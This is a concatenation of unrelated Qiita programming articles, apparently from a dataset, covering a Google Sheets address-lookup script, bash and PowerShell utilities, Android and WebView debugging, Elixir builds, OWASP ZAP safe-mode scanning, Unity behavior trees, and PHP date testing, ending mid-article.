OmniAICreator/Qiita-1.07M huggingface dataset:
Googleスプレッドシートで郵便番号から住所を表示する関数

# 概要
セルに郵便番号を入力することで、住所を表示してくれる関数があったらなぁと思って書きました。
GoogleAPIに住所検索があるので今回はそれを利用しています。

＜2019年1月11日追記＞
どうも現在はAPIキーの設定が必要になっているようで、Googleの「Geocoding API」を有効にしてkey=APIキーをURLに追加する必要があります。

別のAPI版も作成しましたので[コチラ](https://qiita.com/KensukeSakakibara/items/a5c4da9d62d7dcb8d665)でも良いかもしれません。


# 使い方
下記をスクリプトエディタにコピペすれば関数を利用できるようになります。
`=ZIP_ADDRESS("154-0004","prefecture")`
みたいな感じ。

```js
function ZIP_ADDRESS(zip,part)
{
  var response = UrlFetchApp.fetch('https://maps.googleapis.com/maps/api/geocode/json?language=ja&sensor=false&address=' + zip);
  var results = JSON.parse(response.getContentText()).results;
  var address = results[0].address_components;
 
  var return_name = "";
  
  switch (part){
    case "country":
      return_name += _get_long_name(address, "country");
      break;
 
    case "prefecture":
      return_name += _get_long_name(address, "administrative_area_level_1");
      break;
      
    case "address1":
      return_name += _get_long_name(address, "administrative_area_level_2");
      return_name += _get_long_name(address, "locality");
      return_name += _get_long_name(address, "sublocality_level_1");
      break;
      
    case "address2":
      return_name += _get_long_name(address, "sublocality_level_2");
      return_name += _get_long_name(address, "sublocality_level_3");
      return_name += _get_long_name(address, "sublocality_level_4");
      break;
      
    case "address3":
      return_name += _get_long_name(address, "premise");
      break;
  }
  
  return return_name;
}
 
// 取得した配列からlong_nameを抽出する関数
function _get_long_name(address, type_name)
{
  var long_name = "";
  for (var i = 0; i < address.length; i++) {
    if (0 <= address[i].types.indexOf(type_name)) {
      long_name = address[i].long_name;
      break; 
    }
  }
  return long_name;
}
```
指定されているポートが使ってるプロセスを強制終了するコマンド

開発用のブランチが複数あって行き来してて、ローカルサーバを立ててるとたまにポートがかぶってて怒られる時がある。そのときに使う。

例:3000のポートを使っているタスクを切る
`kill $(lsof -t -i:3000)`

- `lsof -t -i:3000` ポートを使用しているプロセスを見る
- `kill`で使用しているプロセスを終了する
[Review] Wide&Deep Learning for Recommender System

## Preface
Basic Concept is well explained in this post.
[[Review] Wide&Deep Learning](https://qiita.com/Rowing0914/items/65775f1a8b21c0a0de2f)

[Research Paper](https://arxiv.org/pdf/1606.07792.pdf)

## Abstract


## Contents
1. Introduction
2. Recommender System Overview
3. Wide & Deep Learning
    1. The Wide Component
    2. The Deep Component
    3. Joint Training of Wide & Deep Model
4. System Implementation
    1. Data Generation
    2. Model Training
    3. Model Serving
5. Experiment Results
    1. App Acquisitions
    2. Serving Performance
6. Related Work
7. Conclusion
Android Studio 3.0でのシュミレータ導入手順

個人的なメモとして残しておきます。


## Android Studioの導入

導入手順については下記に詳しく書かれているのでその手順に従うと大丈夫なはずです！
https://akira-watson.com/android/adt-mac.html

## シュミレータの導入

導入が完了したらプロジェクトを作成、もしくはCloneしてきます。

そして、上にある再生ボタン(実行ボタンを押します)

![スクリーンショット 2018-03-26 9.50.43.png](https://qiita-image-store.s3.amazonaws.com/0/139360/60535fad-afa8-ddef-99df-d6353aa14404.png)

これを押すと実行端末一覧が表示されるので `Create New Virtual Device` を押します。

![スクリーンショット 2018-03-26 9.51.36.png](https://qiita-image-store.s3.amazonaws.com/0/139360/2a333152-869e-ce64-170c-c8e065f31910.png)

すると、ハードウェア選択選択画面が表示されます。

![スクリーンショット 2018-03-26 9.53.19.png](https://qiita-image-store.s3.amazonaws.com/0/139360/592e1674-68ce-7b08-8814-9a3af425e1b4.png)

そのあと、実行したい端末でを選択して `next` を押します。
(何選んでいいかわからないって人はPixelを選んでおくとだいたいなんとかなります。)

その後、OSをダウンロードします。

![スクリーンショット 2018-03-26 9.57.51.png](https://qiita-image-store.s3.amazonaws.com/0/139360/74f5f75f-1a3d-c010-fe3f-e0c688cea557.png)

自分の環境ではNougatがすでにダウンロードしてあるので選択しています。
まだダウンロードできていない方は `Download` のリンクを押してダウンロードしてください。

ダウンロード後、Nextボタンを押します。

その後下記の画面が表示されますが、そのままFinishで大丈夫です。

![スクリーンショット 2018-03-26 9.59.48.png](https://qiita-image-store.s3.amazonaws.com/0/139360/be371c8d-52af-593f-936d-289dd4af2bd9.png)


そのあと、先ほどの実行端末選択画面がでるので、先ほどセットアップした端末を選択してOKを押せば実行できます。

![スクリーンショット 2018-03-26 10.01.55.png](https://qiita-image-store.s3.amazonaws.com/0/139360/740fe232-9807-0af5-61f2-ed1f22bac96e.png)
5分でFilezillaを導入してリモートサーバーとのファイルのやりとりを自由自在にする

# 概要
SSHでリモートサーバとファイルのやりとりを頻繁に行うので、FTP/SFTPファイル転送クライアントFilezillaを導入してみたら、思ったよりもすぐに出来て使いやすかったので記事にしました。
この記事はMac向けですが、Windows/Linux版もあります。(未確認ですが)インストール方法以外は大きく違わないのではないかと思います。

下記の画像は、実際のアプリケーションの画面ですが、このようにGUIベースでファイル管理、転送ができます。
![SSH接続成功_2018-03-26_00-42-42-2.png](https://qiita-image-store.s3.amazonaws.com/0/100027/ae23c1f1-718f-dd0a-01eb-42982d98557e.png)


# インストール

```
$ brew cask install filezilla
```
または、下記からインストールしてください。
https://filezilla-project.org/

# 接続

## ①メイン画面の左上のアイコンを選択して、接続情報の作成に進みます。
![filezilla.png](https://qiita-image-store.s3.amazonaws.com/0/100027/c10a1503-c303-fb70-fecd-06bdf9e33e1f.png)

## ②接続情報設定ウインドウで「New Site」を選択し、接続先情報を入力して、「Connect」を選択します。
※接続情報の各項目の説明は、下記画像の下に書きました。
![接続情報を入力_2018-03-25_23-08-01-2.png.png](https://qiita-image-store.s3.amazonaws.com/0/100027/bdf1f013-08b1-dad3-5fab-6a6b7c1527aa.png)
接続情報の各項目には、下記を入力します。

|項目名  |内容  |備考  |
|---|---|---|
|Host  |ホストのアドレスかIPアドレス  |  |
|Port  |ポート番号  |  |
|Protocol  | プロトコルをプルダウンから選択。 |  |
|Logon Type  | 認証方式をプルダウンから選択。パスワード認証は「Ask for Password」、公開鍵認証は「Key file」を選択。 | |
|User  |ログインユーザ名  | |
|Password  | ログインパスワード |パスワード認証の場合のみ  |
|Key file  | 秘密鍵のパス |公開鍵認証の場合のみ  |




### ※公開鍵認証の場合
公開鍵認証の場合は、下記のように、「Logon Type」で「Key file」を選択し、「Key file」に秘密鍵のルートパスを入力します。
![公開鍵認証方式_2018-03-25_23-09-29-2.png](https://qiita-image-store.s3.amazonaws.com/0/100027/d4b94378-6586-cefb-9bf3-bd63ef63a130.png)


## ③接続完了
![SSH接続成功_2018-03-26_00-42-42-2.png](https://qiita-image-store.s3.amazonaws.com/0/100027/f63171fb-7f2c-b78f-ffe0-288fc40af9a4.png)


# ファイル転送実行
接続が完了したら、あとはGUI操作で自在にファイルの転送・複製・移動・削除などができます。転送・移動はドラックアンドドロップで、複製・削除は該当ファイル・またはフォルダ上で右クリックでできます。
![SSH接続成功_2018-03-26_00-42-42-2.png](https://qiita-image-store.s3.amazonaws.com/0/100027/ae23c1f1-718f-dd0a-01eb-42982d98557e.png)

# おまけ
その他、上記の接続情報設定画面で便利な機能がいくつかあったので、使い軽く紹介しておきます。
###Advancedタブ
#### デフォルトディレクトリ設定
接続時のローカル・リモートのデフォルトディレクトリを設定できます。設定しない場合は、ホームディレクトリがデフォルトディレクトリとなっています。
####Time zone設定
ローカルとリモートのTime zoneが一致していない場合、リモートの時間表示をローカルに合わせることができます。
![advanced-2.png](https://qiita-image-store.s3.amazonaws.com/0/100027/c671f820-f6fd-1dc6-fe25-48884d0852e1.png)

###Charsetタブ
このタブでは、エンコーディングを設定できます。
![charset-2.png](https://qiita-image-store.s3.amazonaws.com/0/100027/40a1f9ca-d799-b008-d7f2-dbe5aee4f7e0.png)
ネイティブアプリWEBViewでRemote Debug まとめ

ネイティブアプリでよくあるシーン

「なんかWEBViewでバグってんだけども」

って言われたら真っ直ぐアプリエンジニアさんに投げつけるサーバーエンジニアのあなた。

**私です!!**

こんなことを毎回していたら、「あの人仕事してくんない」って嫌な目線が飛んで来るかもしれません。

そこでアプリの開発環境をビルドしてエミュレーターで確認するまでしない程度の動作検証方法を

* iOS
* Android

両方で紹介します

## 環境

* MacOSX(10.12.6)
* Chrome (64.0.3282.167)
* Safari (11.0.1)

## 対象者

* サーバーエンジニアでアプリのビルドとかしないんだけどもWEBViewの開発をしている人

## 事前準備で必要なもの

* iPhone
	* Remote Debugをしたい対象アプリ(XCodeでビルドしたものに限ります。AppleストアからDLしたアプリは開けません)
* Android
	* 対象のアプリでWebInspect DebugをONにしたアプリでないと開けません。



## 参考情報

* [ネイティブAndroidアプリ WebView のリモート デバッグ(Google 公式)](https://developers.google.com/web/tools/chrome-devtools/remote-debugging/webviews?hl=ja)
* [【お手軽】iOS Safariで表示したWebサイトをMacOS SafariのWebインスペクタでデバッグする方法](https://dev.classmethod.jp/tool/ios-safari-web-debug/)
* [Android端末の開発者モードをONにする方法
](https://qiita.com/knakamigawa/items/5b8bd2793920b517bf25)

## iOS

Safari + iPhone が必要です。

### 対象のアプリをビルドする

iOSネイティブアプリはビルドしたアプリでないとネイティブアプリのremote debugができません。
なのでdebugしたいネイティブアプリをビルドしてdebugしたい端末にいれてください。

### iPhone 「設定」=> 「Safari」 => 「詳細」=> 「Webインスペクタ」をON

こんな感じ

![iPhone 「設定」=> 「Safari」](https://github.com/ryurock/qiita_images/raw/master/remote_debug_iOS1.png)

でこんな感じ

![「詳細」=> 「Webインスペクタ」をON](https://github.com/ryurock/qiita_images/raw/master/remote_debug_ios2.png)

### iPhoneをケーブルでMacにつなぐ

安モンのケーブルだと反応しない場合があるので注意です。

### Safari => 「設定」=> 「開発メニューを表示」にチェック

これ

![Safari 開発メニューを表示](https://github.com/ryurock/qiita_images/raw/master/remote_debug_safari.png)

### Remote Debugしたいアプリを起動

アプリを起動後、Safariのメニューから => 「開発」=> 「xxのiPhone」という項目があります。
そこに対象のアプリ名で今表示しているWebViewのURLが表示されていますのでRemote DebugしたいURLをクリックするとWebInspectが表示されます。

![iOSネイティブアプリWebInspect表示](https://github.com/ryurock/qiita_images/raw/master/remote_debug_iOS_webinspect.png)

## Android

Chrome + スマホ が必要です。

### 対象のアプリがsetWebContentsDebuggingEnabledかどうか確認する

[ネイティブAndroidアプリ WebView のリモート デバッグ(Google 公式)](https://developers.google.com/web/tools/chrome-devtools/remote-debugging/webviews?hl=ja)に記載されていますが、対象アプリのWEBViewの設定でDebug許可が入っていないとできません。

まずはDebugしたい対象アプリがWEbViewのDebugの設定が入っているか確認してください。

### Debugしたい端末を開発者モードにする

[Android端末の開発者モードをONにする方法
](https://qiita.com/knakamigawa/items/5b8bd2793920b517bf25)に記載されている通り **ビルド番号** を壊れそうなほど連続でタップしてください。

**これでデベロッパーになりました！** って出てきたらOKです。

### スマホをMacにUSBで接続します

あんまり安モンなusbだと充電しかしてくれないので注意です。

### Chromeを開いて ``` chrome://inspect/#devices ``` と入力します

下記のように表示されていたらOKです。

![Android 端末認識確認](https://github.com/ryurock/qiita_images/raw/master/Android_debug.png)

### WebInspectを開いてみる


こんな感じに表示されてInspectを押すとWebネイティブアプリのWebInspectが開きます。


![Android WebInspect表示方法](https://github.com/ryurock/qiita_images/raw/master/remote_debug_android_chrome.png)

## 最後に

ビルドするほどでもない場合にとかに有効ですしこれでアプリエンジニアさんとも仲良くなれますね!!
[Review] Wide&Deep Learning

## Main Question
can we teach computers to learn like humans do, by combining the power of memorization and generalization?

## Study Resources
[Tensorflow Tutorial](https://www.tensorflow.org/tutorials/wide_and_deep)
[Nice Qiita Post in Japanese](https://qiita.com/nukky-s/items/3846fc658b325cdb2fa7)
[Research Blog](https://research.googleblog.com/2016/06/wide-deep-learning-better-together-with.html)

## Visual Concept
<img width="1127" alt="Screen Shot 2018-03-26 at 9.52.47.png" src="https://qiita-image-store.s3.amazonaws.com/0/240801/c25a0c60-4960-657b-f03e-c3e56948d922.png">

## Case Study
Let's say one day you wake up with an idea for a new app called FoodIO*. A user of the app just needs to say out loud what kind of food he/she is craving for (the query). The app magically predicts the dish that the user will like best, and the dish gets delivered to the user's front door (the item). Your key metric is consumption rate—if a dish was eaten by the user, the score is 1; otherwise it's 0 (the label).

You come up with some simple rules to start, like returning the items that match the most characters in the query, and you release the first version of FoodIO. Unfortunately, you find that the consumption rate is pretty low because the matches are too crude to be really useful (people shouting “fried chicken” end up getting “chicken fried rice”), so you decide to add machine learning to learn from the data.

## Wide Model
It is good at memorising all those sparse and specific rules.
Ex) AND(query="fried chicken", item="chicken and waffles")
<img width="1117" alt="Screen Shot 2018-03-26 at 10.06.41.png" src="https://qiita-image-store.s3.amazonaws.com/0/240801/d3f1c77d-3b40-5f34-15c6-7b21a395bfe3.png">

## Deep Model
It is able to greatly generalise to similar items via embeddings.
query = "fried chicken", item = "chicken fried rice"
<img width="1143" alt="Screen Shot 2018-03-26 at 10.06.54.png" src="https://qiita-image-store.s3.amazonaws.com/0/240801/2ec0fcec-c3fb-1748-a651-695fbf7f9c28.png">

## Wide & Deep Model
While analysing customer behaviour, we have found these two types of issues exist.

1. Very targeted and specific query: "Hot latte with whole milk"
2. More explanatory and vague query "Seafood", "Italian Food"

**Approach** : Why not combine both models?
<img width="1132" alt="Screen Shot 2018-03-26 at 10.07.27.png" src="https://qiita-image-store.s3.amazonaws.com/0/240801/72a8fc99-1c08-8bc0-a35f-82422ca3362e.png">

Hence, the cross-feature transformation in the wide model component can memorize all those sparse, specific rules, while the deep model component can generalize to similar items via embeddings.
Elixirをcompileして使ってみる

Elixirのバージョン切り替えをどうやろうか悩んだ時に
exenvとかをつかおうかと悩んだが、その前にElixirをちゃんとcompileして使ってみようと思ったので、やったやつの備忘録的に書きます。

## 環境
### version
debian : 8.9
## やってみた
まずは `git clone` する

```
git clone https://github.com/elixir-lang/elixir.git
```

次にcompile
今回はv1.6を使いたいので、branchを切り替えて使います。

```
cd elixir
git checkout -b v1.6 origin/v1.6
make compile
```

これだけ！

compileしたものは `elixir/bin/` ディレクトリ配下にできますので、version確認

```
bin/elixir -v

Elixir 1.6.4 (compiled with OTP 20)
```
できた！
`bin` ディレクトリ中に `mix`や `iex` もあります。

### testする
compileしたものを `test` してみます

```
make test
```

### version切り替え

versionを切り替えたいときは `clean` してから再度compileすればok

```
make clean
```

これでいつでもversionを切り替えられる。
OWASPZAP　セーフモード　をSelenium連携で実行してみた 

#OWASP ZAPについて
Webアプリケーションの脆弱性を見付けるための簡単に使える統合ペネトレーションテストツールです。
幅広いセキュリティの経験を持った人々に使って貰えるようにデザインされており、
またペネトレーションテストをしたことがない開発者や機能テスターにとっても理想的なものになっています。
#OWASP ZAP の実行モードについて
　ペネトレーションテストツール「OWASP ZAP」。スキャン実行を行う上でモードが4つあります。
　
　・セーフモード（Safe mode）
　　OWASP　ZAPとプロキシ設定を内容を合わせたブラウザでサーバーと通信した情報を解析し、脆弱性を検査する。
　　※検証対象のWEBアプリケーションサーバーからのリクエスト内容を解析するのみなので破壊的なスキャンは行われない。
　
　・プロテクトモード（Protected mode）
　　スコープ（Context内）で定義されたURLに対してのみ破壊的なスキャンを実行することが出来る。

　・標準モード（Standard mode）
　　指定したURLに対して破壊的スキャンを実行する。

　・攻撃モード（Active mode）
　　対象サイトのURL以外でもスパイダーやAJAXスパイダーで検知したリンク先も含めて破壊的スキャンを実行する。
#今回記事にするセーフモードについて
　・メリット
　セーフモードは導入が容易に出来ます。

　破壊的スキャン（プロテクト/標準/攻撃モード）では検証対象に影響を与える可能性があり、
　計画や影響範囲の想定などが必要なので導入に時間がかかる事があります。

　・デメリット
　セーフモードのスキャンはサーバーからのレスポンス内容の解析となるので可能性の検知です。
　その為、実際に攻撃（リクエスト）を行っていないので破壊的スキャンの検知結果より精度低いです。

　また破壊的スキャンはスパイダー、AJAXスパイダーなどの自動スキャンが可能ですが
　セーフスキャンでは検証ブラウザで実際画面操作が必要な為、手動でのスキャンとなります。
#セーフスキャンでの自動実行
　セーフモードのデメリットで紹介した手動実行について、
　テスト自動化ツール「Selenium」でセーフスキャンでの自動実行を以下で試してみました。
![IMG_0190.GIF](https://qiita-image-store.s3.amazonaws.com/0/243487/475e3354-dba4-8c63-85b0-5766c3cac2dd.gif)

※上記Gifの左上がOWASP ZAP、左下がSelenium IDE。
　右側はSeleniumでテストスクリプトを実行させて、OWASPZAPとプロキシ設定を合わせているブラウザ。

上記により、Seleniumのテストスクリプトで想定した画面に対して
自動でOWASP　ZAPのセーフモードスキャンで自動スキャンを行わせます。
#まとめ
他のツールを利用し、ツールのデメリットを改善する事が実感できて楽しかったです。
またペネトレーションテストを触ることでテストの幅が広がっていい経験になりました。
UIColorをRGBで調整する 【Xcode / Swift4】

はじめまして、ますみです！

[![自己紹介.png](https://www.umi-mori.jp/wp-content/uploads/2023/02/introduction_banner_2-2048x533.png)](https://bit.ly/banner_intro_masumi_creator_qiita)


#コード
`swift:RGB.swift
UIColor.init(red: CGFloat, green: CGFloat, blue: CGFloat, alpha:CGFloat)
`

上記のコードにおける`CGFloat`のところに<b>0〜1</b>の数字を入れ、RGBを表現する。
<font color="gray">（Tips：`alpha`は、透明度を表す。）</font>


#使い方
具体的な例として、背景の色をRGBで調整するコードは次の通りである。

```swift:backgroundColor.swift
view.backgroundColor = UIColor.init(red: 230/255, green: 255/255, blue: 230/255, alpha: 90/100)
```

このとき、RGBの最大値が255で考えるために、`/255`という工夫を行なっている。

# 最後に
最後まで読んでくださり、ありがとうございました！
いかがだったでしょうか？

この記事を通して、少しでもあなたの学びに役立てば幸いです！

:::note info
【仕事の相談はこちら】
お仕事の相談のある方は、下記のフォームよりお気軽にご相談ください。

[問い合わせフォームはこちら](https://forms.gle/G5g1SJ7BBZw7oXYA7)

もしもメールでの問い合わせの方がよろしければ、下記のメールアドレスへご連絡ください。

info*galirage.com（*を@に変えてご送付ください）

🎁 「生成AI活用の無料相談券」もしくは「生成AIの社内ガイドライン（無料PDF）」を『公式LINE』で配布中 🎁
『生成AIを業務に活用したいけど、どうしたらいいかわからない』といった声を多くいただきます。

Galirageでは公式LINEにて、チャットやオンライン会議で「完全個別の生成AI活用無料相談会」を実施しております！
（期間限定で実施しているため、ご興味ある方はお早めに以下のLINE公式アカウントをご登録ください^^）
https://lin.ee/rvz6lMN

※ 予告なく、キャンペーンを終了する可能性がございますが、ご了承ください。

【業務内容】
具体的には、以下のお仕事を中心に受け付けております！（[詳しくはこちら](https://galirage.notion.site/Galirage-AI-c2f3945fafb0433d8d2fd03e56927fd8)）
1. 受託開発（例：生成AIを使った社内システムの開発）
2. コンサルティング（例：技術戦略のアドバイス）
3. 講演（例：社内研修、イベント登壇）

※ 特に「生成AIを使ったシステム開発のご依頼」が多く、ご好評いただいております。

【これまでの相談事例】
以下のようなご相談が多くあります。

🔑 機密情報を漏洩させないための、生成AIのシステム構築をお願いしたい。
🤖 自社データを用いたFAQチャットボットの作り方を知りたい。
💡 ChatGPTを、自分たちの事業にどのように活かせるか、アドバイスやアイデアが欲しい。
:::
# おまけ
エンジニアの仲間（データサイエンティストも含む）を増やしたいため、公式LINEを始めました🎉

「**一緒に仕事をしてくれる方**」「**友だちとして仲良くしてくれる方**」は、友だち追加をしていただけますと嬉しいです！（仲良くなった人たちを集めて、「ボードゲーム会」や「ハッカソン」や「もくもく会」もやりたいなと考えています😆）

とはいえ、みなさんにもメリットがないと申し訳ないので、特典を用意しました！

友だち追加後に、アンケートに回答してくれた方へ「**エンジニア図鑑（職種20選）**」のPDFをお送りします◎

https://lin.ee/hFUN4TL

[![](https://www.umi-mori.jp/wp-content/uploads/2023/10/line_banner_v2.png)](https://lin.ee/hFUN4TL)
# 参考文献

https://developer.apple.com/documentation/uikit/uicolor/1621925-init

https://qiita.com/umi_mori/items/e65fde3e448e6b53b11a
button_toでのパラメータの渡し方

viewでの記述: ◯◯_path,(パラメータ名:{カラム名: 値, ・・・})

(例)users_path(user:{name: "aiueo"})
→Parameters: {"authenticity_token"=>"", ""user"=>{"name"=>"aiueo"}}という形でコントローラのcreateアクションへパラメータが渡される。
【Unity】BehaviorDesigner(BehaviorTree)を使ってみた[1]



# はじめに
AI(ここではゲーム等のNPC的な意味)を作る際、リアリティを追求しようとすればする程、様々な状態が必要となり、真っ当にStateパターンなんかで実装すると大量のStateクラスを量産する羽目になります。
大した処理もしてないのにコード量とクラス数ばかり増えて嫌になったので、ゲーム業界でよく使われていると噂のBehaviourTree(ここでは[BehaviorDesigner](https://assetstore.unity.com/packages/tools/visual-scripting/behavior-designer-behavior-trees-for-everyone-15277))を用いた実装を試してみました。
その中で学んだちょっとしたコツ的なものを残しておこうと思います。

BehaviorDesignerの使い方自体は、これまでに色々な方が書いて下さっているので、そちらを参照してください。

# BehaviorDesignerでイベントを受け取ってTaskを実行する
普通に作っていればBehaviorDesignerのみでゲームを作りきるという事は無く、AIの一部をBehaviorDesignerで作って、基本的なロジックはC#スクリプトで作っていく事になると思います。
そうなると当然C#側で発行したイベントをBehaviorDesignerで受け取って処理をしたくなります。

簡単な例として「Spaceキーを押下した回数をLogで表示する」というのをBehaviorDesignerとC#スクリプトで作ってみます。
(当然このような簡単な処理はBehaviorDesignerだけで完結する話ですが、良い例が思い浮かばなかったので)

```InputEventHandler.cs
using UnityEngine;
using UniRx;
using System;

namespace BehaviorTreeTest
{
	public class InputEventHandler : MonoBehaviour
	{
		public IObservable<int> OnKeyDown { get { return OnKeyDownSubject; } }

		private Subject<int> OnKeyDownSubject = new Subject<int>();
		private int m_Count = 0; 

		void Update()
		{
			if( Input.GetKeyDown( KeyCode.Space ) )
			{
				OnKeyDownSubject.OnNext( m_Count );
				++m_Count;
			}
		}
	}
}
```

```InputEventPresenter.cs
using UnityEngine;
using BehaviorDesigner.Runtime;
using UniRx;

namespace BehaviorTreeTest
{
	public class InputEventPresenter : MonoBehaviour
	{
		[SerializeField] BehaviorTree m_BehaviourTree = null;
		[SerializeField] InputEventHandler m_Handler = null;

		private void Start()
		{
			m_Handler.OnKeyDown
				.Subscribe( ( count ) => m_BehaviourTree.SendEvent<object>( "OnKeyDown", count ) )
				.AddTo( this );
		}
	}
}
```

**InputEventHandler側でBehaviorDesignerにイベントを飛ばさない理由は、実際の実装でそんな設計をすると、BehaviorDesignerへの依存が強くなりすぎて将来的に確実に死ぬからです。**
(BehaviorDesignerの自作Taskを作る際にも同様に、BehaviorDesignerのActionを継承したクラス(Task)とロジックを分離しないと使いまわしが効かないので、分離したほうがよいでしょう)

BehaviorDesigner側は下記のような感じで作ります。

![BehaviorTree.png](https://qiita-image-store.s3.amazonaws.com/0/216921/787875a7-3c9b-274c-e939-8d55b624562f.png)

はい。簡単ですね。これでSpaceキーを押下した回数をLogで表示できます。

C#側はBehaviorDesignerにイベントを送るだけなら実質1行です。
InputEventPresenter.csの「m_BehaviourTree.SendEvent&lt;object&gt;( "OnKeyDown", count )」この部分だけです。簡単！

**1点だけ注意してほしいのは、SendEvent&lt;object&gt;の部分です。
BehaviorDesignerのHasReceivedEventは下記のようになっており、System.Objectを受け取る実装となっているため、「SendEvent&lt;int&gt;」とするとイベントを受け取ってくれません。**

```HasReceivedEvent.cs
        public override void OnStart()
        {
            // Let the behavior tree know that we are interested in receiving the event specified
            if (!registered) {
                Owner.RegisterEvent(eventName.Value, ReceivedEvent);
                Owner.RegisterEvent<object>(eventName.Value, ReceivedEvent);
                Owner.RegisterEvent<object, object>(eventName.Value, ReceivedEvent);
                Owner.RegisterEvent<object, object, object>(eventName.Value, ReceivedEvent);
                registered = true;
            }
        }
```
2つのベクトルの角度算出

ベクトルp1、p2と、ベクトルp3、p4の角度を算出するプログラム

postgresで実行。

```sql

SELECT ABS(
	CASE WHEN diff_deg > 180 THEN diff_deg - 360
	ELSE diff_deg END
) AS diff_deg
FROM (
	SELECT ABS(
		DEGREES( ST_Azimuth( p1, p2 )) - DEGREES( ST_Azimuth( p3, p4 ))
	) AS diff_deg
	FROM (
		SELECT
			ST_GeomFromText('POINT(0 0)') p1,
			ST_GeomFromText('POINT(1 1)') p2,
			ST_GeomFromText('POINT(0 0)') p3,
			ST_GeomFromText('POINT(1 2)') p4
	) AS p
) AS tmp
```
ご注文はcdしたらlsですか？

fishでも似たようなの書いたんですけど、仕事場がbashなのでどんどん改造されてfish以上のコマンドになってしまいました。
それを**ちょっとずつ**でも書こうかなって。

bashで一番使うコマンドは`cd`コマンドだと思います。
デフォルトの`cd`コマンドは結構かゆい所に手が届いてくれなくて不便です。
※移動する機能単であることに意味があるので変わってほしいわけではないです。

こういうとき、Linuxユーザーは自分で改造しちゃうので私もスクリプトを書いて`cd`コマンドを便利にしてみました。

（うーん、enhancd使えばよくね？ｗ使ったことないけど(´･_･`)）

環境は、ubuntu16.04です。
Macさんというか、BSD環境では若干コマンドのオプションに違いがあったりするので動かないと思います。
そこら辺はMacにgnuコマンド入れるとかで乗り切ってください。

# TL;DR;

僕のbash設定は、もう改造に改造を重ねてこんな簡単なbashではなくなりました。
気になる人は読んで見てください。

気が向いたら解説記事でも書きます。

[bash設定](https://github.com/Riliumph/bash)

# 第1羽「ひと目で尋常でない不便さだと見抜いたよ」
初めてcdコマンドを触ったときに思ったのは

>Windowsならフォルダをダブルクリックしたら移動して中身まで見えるのに、Linuxとかいう奴はそれすらもできんのか。使えない奴め

でした。

そこで、ディレクトリを移動したら移動先の中身が見えるようにしてみます。
こんな感じの動きですね。
![cd_command.gif](https://qiita-image-store.s3.amazonaws.com/0/54925/2f3d0456-2bf4-8a72-229a-6da4d710c227.gif)


```bash:.bash_aliases
function custom_cd()
{
  \cd $@ && clear && ls
}
alias cd='custom_cd'
```

cdして成功したら画面をclearしてlsするだけです。
cdに失敗したら何もしてほしくないので、cdを先頭にしています。

ただ&&演算で繋いだだけなので特に難しくはないと思いますが、<font color=red>**関数内のcdにバックスラッシュを付ける**</font>ことがポイントです。

これ、最終的にはcdコマンドをaliasしてるわけですけど、custom_cd関数の中で普通に`cd && clear & ls`しちゃうとコマンド実行してから<font color=red>ターミナルのコントロールが返ってこなく</font>なります。

1. cdコマンドを打つ
2. cdコマンドの代わりにcustom_cd()が呼び出される
3. custom_cd()内でcdコマンドが実行される
4. cdコマンドの代わりにcustom_cd()が呼び出される
5. 以下、無限再帰

みたいになってるんじゃないですかね。
**知らんけど**(´･_･`)

とにかく、コントロールが返ってこないと困ってしまうわけです。
そこでちゃんと元々のcdコマンドを呼び出すために「ビルトインコマンド」を指定してあげる必要があります。

あ、lsコマンドはaliasした奴を使ってほしいので、ビルトインコマンドにはしていません。

# まとめ
既存のコマンドをそのままの名前でaliasするときは、ビルトインコマンドを使ってあげるといいでしょー

では、また次回。
多分、こういうタイトルは続かないと思います。

**あと、間違ってたら教えてください。**

続編書きました
[ご注文はHOMEに帰らないcdですか？
](https://qiita.com/Riliumph/items/7675f97027e7fc82ff41)
【PowerShell】ヘッダありCSVファイルの結合

あるフォルダ配下に、複数のフォルダが存在し、

そのフォルダの中に同じファイル名のCSVが複数存在するとする。

それらのCSVファイルを最初のファイルのヘッダ以外は無視して

結合を行うスクリプトを作った。

【18/03/27追記】 [Zuishin](https://qiita.com/Zuishin)様にもっとスマートな方法を教えていただきました。
コメント欄を参照ください。ありがとうございます。

```powershell

function margeCsv($inputFolder, $outputFolder, $fileName) {
    $headerOutputflg = 1
    Get-ChildItem $inputFolder -include $fileName -Recurse | ForEach-Object {
        $_.FullName
        $headerflg = 1
        Get-Content $_.FullName | ForEach-Object {
            $row = $_

            if ($headerflg -ne 1 -or $headerOutputflg -eq 1){
                $row | Out-File ($outputFolder + "\" + $fileName) -Append
            }
            $headerflg = 0
        }
    $headerOutputflg = 0
    }
}

margeCsv([入力フォルダパス])([出力フォルダパス])([ファイル名])

```
Laravelで日時を含むモジュールをユニットテストする（Carbon in the PHPUnit）

# やりたいこと

```php
  public function doSomethingIfToday( $date_string )
  {
    if( Date( 'Y-m-d', strtotime( $date_string ) ) == Date( 'Y-m-d' ) ){
      // Do something...
    }
  }
```

たとえばこんな、日時を条件にしているメソッドをユニットテストしようとした場合どうするか？
せめて今日とそれ以外の日でどんな結果が返ってくるかチェックしないと……
あぁ、でもテストを実行した日によって結果が変わっちゃうので……
システムの時計を変えて……。

なんてことは、しないでくださいね。

# 結論

## Carbonを使います

CarbonはPHPで日時周りの操作をうまいことやってくれるライブラリで、Laravelにも標準で組み込まれているものです（なので今回はLaravelに限った話ではなく、Carbonをインストールできる環境であればどんなプロジェクトやフレームワークにでも適用できます）。このCarbonのすごいところは、きちんとそうした「テスト利用」を考えられているところで、```setTestNow```メソッドを使うと、Carbonのインスタンスが返す「今日」を変更することができます。

上記のコードはこうなります。

```php
  public function doSomethingIfToday( $date_string )
  {
    $now      = \Carbon\Carbon::now();
    $thistime = \Carbon\Carbon::parse( $date_string ); 

    if( $now->diffInDays( $thistime, false ) == 0 ){ // 第2引数をfalseにすると差がマイナスで返る 省略すると絶対値
      // Do something...
    }
  }
```

そしてテストコードはこう。

```php
  public function doSomethingIfTodayTest(  )
  {
    // Carbonで得られる「今日」を変更する
    Carbon::setTestNow(new Carbon('2017-01-02 09:59:59'));

    $result = $tested_class->doSomethingIfToday( '2017-01-02' );
    $this->assertTrue( $result, '今日なのでTrue' );
    $result = $tested_class->doSomethingIfToday( '2017-01-03' );
    $this->assertFalse( $result, '今日じゃないのでfalse' );
  }
```

このように、日付に「依存」するコードを書くときにはCarbonを使用しておけば、あとで外から「今日」を与えられる（inject)ので、うまいこと Dependency Injection を解決してテストをスムーズに書くことができます。


## Carbonは使いたくない

すみません、そうですよね、そういう案件もありますよね。

Carbon使えないプロジェクトで日時を含むモジュールを作ったときには、「今日」を外から与えるようにしていました。

```php
  // グローバル値でも良いと思うけどわかりやすさのためコンストラクタ
  public function __construct( $today_int )
  {
